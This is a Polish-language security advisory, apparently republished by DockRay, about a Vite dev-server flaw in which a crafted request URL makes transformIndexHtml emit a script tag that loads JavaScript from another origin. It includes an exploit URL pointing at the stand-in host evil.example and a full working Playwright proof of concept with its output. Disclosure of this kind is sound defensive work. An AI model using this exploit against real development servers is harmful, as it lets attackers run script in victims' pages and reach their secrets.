Vite: Wykonywanie skryptów cross-origin poprzez niestandardowe oprogramowanie pośredniczące Vite
Podsumowanie
Podczas odwiedzania złośliwej witryny w trakcie działania serwera deweloperskiego korzystającego z Vite, witryna ta miała możliwość ładowania skryptów na stronie serwowanej przez serwer deweloperski.
Wpływ
Podatne są wyłącznie aplikacje spełniające poniższe warunki:
- serwer deweloperski przekazuje niezmieniony adres URL żądania przeglądarki do
server.transformIndexHtml: jest to zazwyczaj stosowane w przypadkuserver.middlewareMode: truelubappType: 'custom'. Wewnętrzne wywołanie dlaappType: 'spa'iappType: 'mpa'nie spełnia tego warunku. - przekształcony kod HTML zawiera wbudowany skrypt modułu (inline module script)
- ze skryptu na stronie serwowanej przez serwer deweloperski aplikacja przechowuje poufne wartości w dostępnym miejscu lub umożliwia krytyczne działania
Szczegóły
Przewodnik Vite SSR dla 8.2.1) opisuje konfigurację podatną na ten problem. Aplikacja osadza Vite w trybie middleware, odczytuje zaufany kod HTML i przekazuje niezmieniony URL żądania przeglądarki do transformacji:
const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)
Dla serwera deweloperskiego pod adresem http://localhost:5173 atakujący może przesłać następujący URL:
http://localhost:5173//evil.example/payload.js?/../../package.json
W Vite 8.2.1 createDevHtmlTransformFn oraz getHtmlFilename w indexHtml.ts) używają adresu URL żądania zarówno jako path transformacji, jak i danych wejściowych do path.join. Wartość przekazana do path.join nadal zawiera tekst zapytania.
Chromium zachowuje /../../package.json, ponieważ występuje po ?, stanowiąc treść zapytania. Vite traktuje te same znaki jako elementy ścieżki w systemie plików, przez co składowe .. rozwiązują wyznaczoną nazwę pliku do istniejącego pliku projektu package.json.
Gałąź obsługi istniejącego pliku w indexHtml.ts) weryfikuje tę nazwę pliku za pomocą fs.existsSync, a następnie zachowuje htmlPath dostarczony przez atakującego jako proxyModuleUrl. Mechanizm przepisywania modułów inline w tym samym pliku) zapisuje tę wartość do wygenerowanego src:
<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>
Wygenerowana wartość jest poprawnym adresem URL. Wiodące znaki // instruują przeglądarkę, aby zażądała modułu z evil.example z użyciem schematu strony Vite. Atakujący zwraca kod JavaScript w odpowiedzi na to żądanie, a Chromium wykonuje go na stronie serwowanej przez Vite.
PoC
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'
const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
viteModule.createServer ?? viteModule.default.createServer
// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'
const listen = (server, port = 0) =>
new Promise((resolve, reject) => {
server.once('error', reject)
server.listen(port, '127.0.0.1', () => {
server.off('error', reject)
resolve(server.address().port)
})
})
const close = (server) =>
new Promise((resolve, reject) => {
server.close((error) => (error ? reject(error) : resolve()))
})
let attackerRequest = null
const attacker = createHttpServer((request, response) => {
attackerRequest = request.url
response.writeHead(200, {
'access-control-allow-origin': '*',
'content-type': 'text/javascript',
})
response.end(
"document.documentElement.dataset.viteXssPoc = 'executed'",
)
})
const vite = await createViteServer({
appType: 'custom',
configFile: false,
root: directory,
server: {
hmr: false,
middlewareMode: true,
watch: null,
},
})
const application = createHttpServer((request, response) => {
vite.middlewares(request, response, async (error) => {
if (error) {
response.destroy(error)
return
}
try {
const transformed = await vite.transformIndexHtml(request.url, html)
response.writeHead(200, { 'content-type': 'text/html' })
response.end(transformed)
} catch (transformError) {
response.destroy(transformError)
}
})
})
await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })
try {
const page = await browser.newPage()
await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
await page.waitForFunction(
() => document.documentElement.dataset.viteXssPoc === 'executed',
)
console.log(`attacker request: ${attackerRequest}`)
console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
await browser.close()
await close(application)
await vite.close()
await close(attacker)
}
Zaobserwowany wynik na Vite 8.2.1:
attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page
Co trzeba zrobić
Zaktualizuj pakiet Vite do wersji 6.4.4, 7.3.7, 8.1.6, 8.2.4, 8.3.3 lub nowszej oraz pakiet vite-plus do wersji 1.1.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | vite | >= 8.3.0, < 8.3.3, >= 8.2.0, < 8.2.4, >= 8.0.0, < 8.1.6, >= 7.0.0, < 7.3.7, < 6.4.4 | 8.3.3, 8.2.4, 8.1.6, 7.3.7, 6.4.4 |
| Paczka npm | vite-plus | < 1.1.0 | 1.1.0 |
Odnośniki
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N- Słabość (CWE)
CWE-80- Platforma
- npm
- Paczka
vite, vite-plus- Ujawniono
- 21.10.2026
- Aktualizacja
- 21.10.2026 19:20
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-9jrq-w75r-8gcw - CC BY 4.0
Historia podatności: vite-plus
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 9
- Pierwsza → ostatnia
- 04.2026 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 1
- Wysoka 3
- Średnia 4
- Niska 1
Ujawnienia w latach
- 2026: 9
-
Vite: Wykonywanie skryptów cross-origin poprzez niestandardowe oprogramowanie pośredniczące Vite ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.